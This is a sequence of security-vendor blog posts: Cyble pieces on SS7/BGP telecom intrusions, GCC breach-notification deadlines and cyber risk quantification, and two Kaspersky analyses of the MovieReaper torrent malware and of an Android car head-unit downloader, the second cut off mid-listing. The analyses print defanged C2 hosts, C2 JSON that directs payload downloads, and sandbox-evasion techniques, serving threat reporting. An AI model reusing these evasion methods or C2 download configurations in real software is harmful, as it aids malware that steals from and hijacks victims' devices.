Nation-state operators rarely need a zero-day to get inside a carrier. Much of the telecom stack still runs protocols designed when every participant was a known, trusted operator. SS7 assumes that the node sending a request has a legitimate reason to send it.  

BGP assumes a network announcing a route actually owns it. Attackers who understand those assumptions can operate inside a carrier for years without triggering a single alert. For telecom CISOs and SOC teams, defending this environment starts with understanding how these attacks actually work. 

SS7: A Protocol That Trusts Every Caller 

SS7 is roughly 40 years old and still underpins 2G and 3G SMS and phone services as well as international roaming. Its weakness is architectural. Any node with signaling access can send Mobile Application Part (MAP) queries asking where a subscriber is, or tell the network to route that subscriber's SMS elsewhere.  

SS7 has no built-in way to confirm the request came from someone entitled to make it. Access is also easier to get than many assume. Leased Global Titles, loosely vetted roaming partners, and compromised operators all provide an entry point. 

The consequences are well documented. SS7 can enable location tracking, interception of voice data and multi-factor authentication keys, and can even serve as a spyware delivery vector. Moving to newer generations doesn't solve the problem. The 4G and 5G Diameter protocol has its own location tracking weaknesses, and 4G and 5G users can be downgraded to SS7 when roaming. 

U.S. government assessments are blunt. The Department of Homeland Security concluded in 2017 that all U.S. carriers are vulnerable to SS7 and Diameter exploits, and a DHS presentation named Russia, China, Israel and Iran as the primary countries reportedly using other nations' telecom assets to exploit U.S. subscribers.  

These attacks often travel indirectly. According to that material, the traffic was being routed through third-country networks. The tooling is also spreading. Cyble's dark web researchers have confirmed that SS7 and Diameter exploits and services are still routinely discussed on underground forums, including detailed attack exploits. 

BGP: Internet Routing on the Honor System 

BGP has the same trust problem at internet scale. The FCC has noted that the protocol was designed decades ago and offers no intrinsic way to verify route origination. If a network announces a prefix it doesn't own, or a more specific slice of one, its neighbors will often accept the announcement and send the traffic to it. 

The best-known case is still a warning for the industry. According to the U.S.-China Economic and Security Review Commission's 2010 report to Congress, China Telecom advertised erroneous routes for about 18 minutes on April 8, 2010, pulling traffic for roughly 15 percent of internet destinations through Chinese servers, including traffic to U.S. government and military sites.  

Regulators are now responding. In 2024, the FCC proposed that broadband providers build BGP security plans based on RPKI, with the nine largest filing those plans confidentially and publishing quarterly progress data. 

The Router Layer: Where Persistence Lives 

Signaling and routing abuse are only part of the picture. The most serious recent intrusions have targeted the hardware that carries the traffic. A 2025 joint advisory from CISA and allied agencies found that PRC state-sponsored actors focus on large backbone routers of major telecom providers, along with provider edge and customer edge routers, and use compromised devices and trusted connections to pivot into other networks.  

They often modify routers to maintain persistent, long-term access. 

Initial access typically came through known vulnerabilities, not novel ones. The advisory lists CVE-2024-21887 in Ivanti Connect Secure, commonly chained after the CVE-2023-46805 authentication bypass, and CVE-2024-3400 in Palo Alto PAN-OS GlobalProtect, along with CVE-2023-20273, a Cisco IOS XE flaw commonly chained with the CVE-2023-20198 authentication bypass to achieve root-level code execution.  

Once inside, the Salt Typhoon cluster implanted malicious code on network devices and configured GRE tunnels to pull data through compromised routers. 

Aging infrastructure makes eviction harder. U.S. Senator Mark Warner, describing carrier networks, said there is equipment "so old it's unpatchable". 

Why Detection Lags 

These intrusions have a common pattern. SS7 abuse looks like normal roaming traffic. A hijacked prefix looks like an ordinary route update. A rogue GRE tunnel looks like legitimate provisioning. None of them runs on an endpoint where EDR can see it.  

By the time anomalous activity shows up internally, the attacker has usually already mapped the network and started moving laterally. 

Defending this environment takes several layers working together: 

• Signaling: Deploy SS7 and Diameter firewalls and vet Global Title partners strictly. 

• Routing: Publish Route Origin Authorizations and enforce RPKI origin validation. 

• Router hygiene: Patch the CVEs above immediately, and audit every tunnel, mirror session, and AAA configuration against an approved baseline. 

• External visibility: Track what happens outside your perimeter, where attacks are often planned before they launch. 

Where Cyble Vision Fits 

External visibility is the gap Cyble Vision closes. It tracks underground forums where SS7 exploits and signaling access are traded, and flags leaked credentials and device configurations tied to your infrastructure.  

It maps exposed management interfaces across your attack surface and prioritizes the edge-device vulnerabilities state actors are actively exploiting.  

Threat actor intelligence connects those signals to the groups behind them, so your SOC can act on early indicators instead of reconstructing a breach after the fact. 

See intrusions before lateral movement starts. Book a Cyble Vision demo → 

References 

• https://www.wyden.senate.gov/imo/media/doc/wyden-schmitt_dod_letter.pdf 

• https://docs.fcc.gov/public/attachments/DOC-402579A1.pdf 

• https://www.washingtonpost.com/national-security/2024/11/21/salt-typhoon-china-hack-telecom/ 

• https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-239a 

• https://docs.fcc.gov/public/attachments/FCC-24-62A1.pdf 

• https://www.uscc.gov/sites/default/files/annual_reports/2010-Report-to-Congress.pdf 

The post Inside the Telecom Attack Surface: SS7, BGP Hijacking, and the Technical Reality of Nation-State Intrusions  appeared first on Cyble.

Introduction

Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.

During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.

Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.

Technical details

Background

In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.

Initial infection and spread

Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.

For example, a user of a popular movie torrent tracker reported the following case on Reddit:

Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.

As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.

The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.

Malware implants

The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.

Step 1: Loader

The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.

After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.

While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.

After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.

Example URLs:

/cloud/v192.4/ui/sync-status-icons.png
/cloud/v192.4/onboarding/welcome-bg.jpg
/cloud/v192.4/ui/file-preview-placeholder.png
/cloud/v192.4/shared/link-banner.jpg

While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to  CreateThread for code executionm, and executes the shellcode.

Step 2: Shellcode

The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).

Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.

The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.

Step 3: UAC Bypass and persistence

Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.

After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.

Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.

The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.

Step 4: The final implant

The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.

We suspect that other modules may be loaded on demand if requested by the operator.

Infrastructure

During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.

Victims

The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.

Conclusions

Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.

The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.

However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.

Indicators of compromise

File hashes

4334BBAEA8DE33BF9D45E9B4E4E3BC2
4843F9FAFCAE492F11E2D4D33DBB4CDD
5310CABAE3FBE6DB8742849B588093F9
A0B13781EDD7CFDAB13D79AFFF3C83C1
70060341CAF3338697A7DDFE0FB62875
AD4643EEA15AC286FA47D1131F9EF756
D0B967571AC8A3863C7F324BF5BDE99C
D88D550D0FB8E60CFFFF3EA61FF7A067

File paths

%ProgramData%\Microsoft\Windows\Telemetry\msedge.exe

Mutexes

Global\E4AyDKzvEhe2hgAr
Global\fnulSktzSqvVLXHU

Domains and IPs

First-stage C2:
deadhub[.]org
193.23.118[.]155

Second-stage C2:
208.64.33[.]90
208.94.246[.]53

Six hours. That's the incident notification window under the UAE's Information Assurance Standard v2. Once a breach is detected, the framework requires incident notifications within 6 hours of detection, alongside quarterly compliance updates and annual maturity assessments.

Saudi Arabia's regulators aren't far behind — SAMA's cybersecurity framework and the Kingdom's PDPL both converge on a 72-hour notification standard, and the NCA's Essential Cybersecurity Controls point organizations toward a similar 72-hour reporting expectation for serious cyber incidents.

Read that again. Regulators across the GCC aren't asking enterprises to respond fast anymore — they're mandating how fast enterprises must know. And that's the part most security programs still get wrong.

The Compliance Clock Starts at Detection, Not Response 

Every regulatory framework reshaping the region's cybersecurity posture — NCA ECC, NESA/UAE IAS v2.1, SAMA CSF — shares a structural assumption: the organization already knows it's been breached. The clock for reporting, escalation, and remediation only starts ticking once detection happens. 

That assumption breaks down inside most enterprise SOCs. Detection today typically means: 

• Alerts triaged manually across siloed tools, hours or days after initial compromise 

• Threat intelligence that arrives as static reports, not real-time signal 

• Exposure discovered only after a regulator, a customer, or an attacker's leak site announces it 

Under NESA's incident management requirements, tested response procedures and a maintained incident log matter — but the underlying detection of SLA still has to be met before any of that documentation is worth anything. A perfect incident response plan is irrelevant if the breach itself goes unnoticed for a week. 

Why Reactive Detection Can't Survive These Timelines 

Reactive security was designed around a different clock — the attacker's dwell time, not the regulator's reporting window. Under IAS v2's enhanced SOC requirements, Tier 1 critical infrastructure entities now need 24/7 monitoring capability paired with defined detection and response SLAs, not just a monitoring function. That's a measurable performance bar, not a checkbox. 

For a Gulf enterprise, missing that bar isn't just a security failure — it's a compliance failure with financial, contractual, and reputational consequences layered on top. And because a single incident can trigger overlapping obligations across multiple regulators at once, one detection gap can cascade into several separate compliance breaches simultaneously. 

See how fast you can detect a breach — run a live check with Cyble Vision. 

Where AI-powered Threat Intelligence Closes the Gap 

This is the shift Cyble Vision is built for. Instead of waiting for a signature match or a manual review cycle, AI-powered threat intelligence continuously correlates external signals — leaked credentials, dark web chatter, exposed assets, attacker infrastructure — against your enterprise footprint in real time. 

That matters specifically because GCC frameworks measure speed from the moment of detection, not from the moment someone happens to notice. Closing that gap means: 

• Continuous exposure monitoring instead of periodic scans, so assets breaching policy or appearing in threat actor chatter surface immediately 

• AI-correlated alerting that cuts through noise and prioritizes what actually threatens regulated systems 

• Audit-ready detection logs that document when a threat was identified — the evidence NESA and SAMA assessors specifically ask for 

Don't wait for attackers — or a regulator — to find your blind spots first. 

What "Regulatory-Ready" Detection Actually Looks Like? 

For a CISO or compliance lead building toward NCA ECC, NESA, SAMA, or UAE IAS v2.1, the operational bar has moved from "can we respond" to "can we prove we detected in time." That means: 

1. Detection telemetry timestamped and retained for regulator review 

2. Threat intelligence mapped directly to the assets and systems in scope 

3. Alerting fast enough to fit inside a 6-to-72-hour reporting clock — not just a monthly threat report 

Cybersecurity compliance in the UAE and Saudi Arabia is no longer a documentation exercise. It's a speed test, and most enterprises are still building for the exam they used to take. 

Find Your Blind Spots Before the Regulator Does 

AI-powered threat intelligence isn't a nice-to-have layered on top of compliance anymore — for Gulf enterprises operating under NCA ECC, NESA, SAMA, and UAE IAS v2.1, it's becoming the mechanism that makes compliance achievable at all. 

See how fast you can detect a breach.  

The post AI-Driven Threat Intelligence for Gulf Enterprises: Why Detection Speed Is Now a Regulatory Requirement appeared first on Cyble.

For years, cybersecurity teams have communicated risk through labels such as “High,” “Medium,” and “Low.” Those ratings can help security teams prioritize vulnerabilities, but they often leave CFOs with a more important question unanswered: What does the risk actually mean for the business financially? 

That question has become harder to ignore as the threat landscape accelerates. Cyble’s 2025 threat predictions, published as the year unfolded, provide a useful illustration. More than 80% of the threats Cyble forecast—including AI-driven ransomware and complex supply-chain attacks—materialized as anticipated.  

It was observed that dark-web discussions about using large language models for phishing, automated social engineering, and ransomware negotiation as early as six months before AI-powered ransomware became a mainstream concern. 

From Threat Signals to Financial Exposure 

Cyble’s 2025 research identified several trends that demonstrate why qualitative risk scores are no longer enough. 

Ransomware incidents increased by 52% in 2025, according to Cyble's analysis. Cyble's full-year 2025 report recorded 6,604 ransomware attacks, compared with 4,346 in 2024. December 2025 alone recorded nearly 731 attacks, the second-highest monthly total of the year, surpassed only by February. 

The FBI and CISA also issued joint warnings regarding Medusa ransomware, including the use of AI to streamline intrusion, escalate privileges, and evade detection. The EU SOCTA 2025 report similarly identified an increase in ransomware activity. Cyble also documented 57 new ransomware groups, 27 new extortion groups, and more than 350 new ransomware strains during 2025 alone. 

At the same time, ransomware affiliates proved remarkably adaptable. Cyble also documented 57 new ransomware groups, 27 new extortion groups, and more than 350 new ransomware strains during 2025 alone. 

International disruption operations targeted several ransomware ecosystems, but as RansomHub went offline in April 2025 and Black Basta became largely inactive following internal chat leaks and operational disputes, displaced affiliates migrated between operators and adopted distributed criminal models rather than withdrawing from the market. The United States remained the primary target, accounting for 55% of attacks in 2025. 

Qilin and DragonForce absorbed the bulk of those displaced affiliates, reinforcing the resilience that has made ransomware a persistently growing threat. 

Public-facing applications and zero-days remained another major entry point. The data supported its prediction that exposed applications would remain attractive targets. Incidents involving Multer for Node.js, Microsoft SharePoint, CVE-2025-20337, and CVE-2025-5777 reinforced that concern. 
 
Identity and credential compromise became the dominant initial-access vector: Unit 42 attributed 65% of intrusions to compromised credentials, stolen infostealer logs, and abused VPN access. ClickFix social-engineering lures — which manipulate users into executing malicious commands — increased 517% year over year in the first half of 2025. 

Cloud and hybrid environments also became increasingly important targets. Campaigns associated with Silk Typhoon, attacks against cloud-based identity systems, and growing software supply-chain activity demonstrated how attackers were expanding beyond traditional infrastructure. 

Supply-chain ransomware followed the same trajectory. Cyble recorded a 93% increase in supply-chain attacks, from 154 incidents in 2024 to 297 in 2025. LockBit 5.0 emphasized third-party compromise, while activity associated with Qilin, SafePay (which claimed 58 victims in May 2025 alone), and DevMan demonstrated how IT providers and technology vendors can become pathways to multiple victims. 

Critical infrastructure also faced heightened pressure amid geopolitical tensions. Hacktivist campaigns targeted energy, transportation, and government systems, while the UAE reported successfully blocking a major cyberattack against critical infrastructure, and China accused Taiwan of targeted cyber intrusions. 

Meanwhile, underground ecosystems remained resilient. Forums including XSS, Exploit, and RAMP continued to support malware development, initial-access brokerage, affiliate recruitment, and the exchange of stolen data. The HelloKitty-to-HelloGookie transition provided another example of how underground communities support ransomware operations. 

Cyble’s Cyber Risk Quantification (CRQ) addresses the gap between technical severity and business impact. The cloud-native SaaS platform combines real-time threat intelligence, asset visibility, and predictive analytics to quantify cyber risk in financial terms, calculate Return on Security Investment (RoSI), and align security decisions with enterprise value. 

See how Cyble CRQ turns cyber exposure into financial insight. Discover your financial exposure now! 

What the CFO Needs to Know 

A CFO does not necessarily need another dashboard showing hundreds of vulnerabilities. The finance function needs to understand questions such as: 

• What could this threat cost? 

• Which business assets create the greatest financial exposure? 

• What is the likelihood of a loss event? 

• Which security control reduces the most risk? 

• How much would that control cost? 

• What is the expected return on the investment? 

That is where CRQ changes the conversation. Instead of reporting that a vulnerability is “critical,” security teams can model its potential effect on operations and financial performance. 
 
Recent incidents illustrate the stakes: Marks & Spencer estimated an impact of approximately £300 million on its 2025/26 annual profit from a single ransomware incident, and the Cyber Monitoring Centre assessed the combined losses for M&S and Co-op at £270 million to £440 million, excluding any ransom payments. Meanwhile, only 28% of victims paid a ransom in 2025 — down from 62.8% in 2024 — yet the median payment increased 368%, reflecting a shift toward higher-value, targeted demands. 

Cyble CRQ provides enterprise- and asset-level risk quantification, financial risk modeling, RoSI analysis, real-time dashboards, and operational metrics including MTTD, MTTN, MTTR, FPR, and IRR. Cyble's capabilities can help reduce breach containment time by up to 23%. The platform can also integrate with Cyble CSPM, Threat Intelligence, and Asset Management through APIs and real-time feeds. 

Its AI-driven risk engine ingests security and business data, evaluates potential loss scenarios, models the effect of different controls, and continuously updates exposure as conditions change. The result is a risk picture that both the CISO and CFO can interpret. 

The Executive Risk Equation 

Financial exposure is not limited to infrastructure. Executives themselves are increasingly valuable targets because compromising a trusted leader can provide access to sensitive information, systems, and relationships. 

Spear-phishing, executive impersonation, credential theft, dark-web exposure, and social engineering can create direct financial, regulatory, and reputational consequences. A compromised CFO account, for example, could be abused to distribute fraudulent financial information, while a compromised CEO identity could be used to manipulate employees, customers, or business partners. 

Cyble’s Executive Monitoring capability extends visibility into these risks by monitoring for impersonation, leaked information, dark web exposure, and emerging threats targeting organizational leadership. 

This becomes particularly important when executives operate outside the traditional corporate perimeter through personal devices, external platforms, social media, travel environments, and other channels. A mature risk strategy, therefore, needs to connect technology risk, human risk, and business impact. 

From Security Budget to Business Investment 

Cyble Saratoga takes this approach further by combining cyber risk quantification with investment optimization, human and process risk analysis, scalable assessment models, and executive-ready dashboards. Built on Cyble’s AI-native foundation and evolving toward agentic intelligence, the platform is designed to continuously adapt to changing environments and threat conditions. 

The objective is not simply to produce a better risk score. It helps organizations determine where to invest first and why. 

For financial services organizations, that can mean quantifying ransomware, fraud, credential compromise, and operational disruption. For manufacturing and supply chains, it can mean assessing third-party exposure and potential downtime. In 2025, manufacturing accounted for 65% of all industrial ransomware activity, with 1,660 victims, making it the most heavily targeted sector of the year.  

Healthcare organizations can evaluate risks to patient data and critical systems - 423 healthcare ransomware attacks were recorded in the first nine months of 2025, with average ransom demands of USD 514,000 to USD 532,000, while government and critical-infrastructure operators can translate complex cyber exposure into measurable financial and operational consequences. 

Conclusion 

Cyber risk is no longer a static “High, Medium, or Low” assessment—it is a dynamic business exposure that can directly impact revenue, operations, reputation, and resilience. With more than 80% of Cyble’s 2025 threat predictions materializing, organizations need to move beyond severity scores and understand what cyber risk could actually cost.  

Cyble CRQ helps security and finance leaders quantify cyber exposure in financial terms, prioritize the investments that matter most, and measure how effectively each security dollar reduces risk. 

Stop telling the board your cyber risk is “High.” Tell them what it could cost. 

Turn cyber risk into financial clarity with Cyble CRQ. Request a personalized demo today. 

References: 

• Cyble’s 2025 Threat Predictions Proven True—Here’s What We Expect for 2026 

• Medusa Ransomware Surge: 60 Victims in 3 Months—Are You Next? 

The post From ‘High/Medium/Low’ to Dollars: Making Cyber Risk Legible to Your CFO  appeared first on Cyble.

While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

Key findings:

• We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
• The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
• We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.

Kaspersky solutions detect the threats described below under the following detection names:

• HEUR:Trojan-Dropper.AndroidOS.Agent.vu
• HEUR:Trojan-Downloader.AndroidOS.Agent.ov
• HEUR:Trojan-Proxy.AndroidOS.Zhima.*
• HEUR:Trojan.AndroidOS.Vo1d.*

Head unit firmware overview

A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.

In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

Below is the entire infection chain:

Let’s look at exactly how these head units became infected.

The TWCore app

TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.

Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.

Next, we’ll break down the malware installed by TWCore: the JarService dropper.

Stage 1: the JarService dropper

As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

Stage 2: the loader

This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

{
    "userId": "REDACTED",
    "dexVersion": "1.7",
    "dexType": 1,
    "channelId": "2039",
    "packageName": "com.tw.jar1",
    "appVersion": 12,
    "appName": "JarService"
}

In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

{
    "code": 200,
    "data": {
        "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png",
        "dexVersion": 3.680,
        "status": 0
    }
}

The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

Stage 3: clicker / reverse proxy loader

In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

{
    "code": 100,
    "data": {
        "configVersion": 3.820,
        "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"],
        "interval": 5500000,
        "reportApi": "/cpc/api/report",
        "tagName": "config",
        "taskApi": "/cpc/api/task",
        "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"],
        "vn": 1.010
    }
}

If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

{
    "code": 200,
    "data": [{
        "productId": 979,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"107.151.248[.]132\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 1337\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1778650942
    }, {
        "productId": 1019,
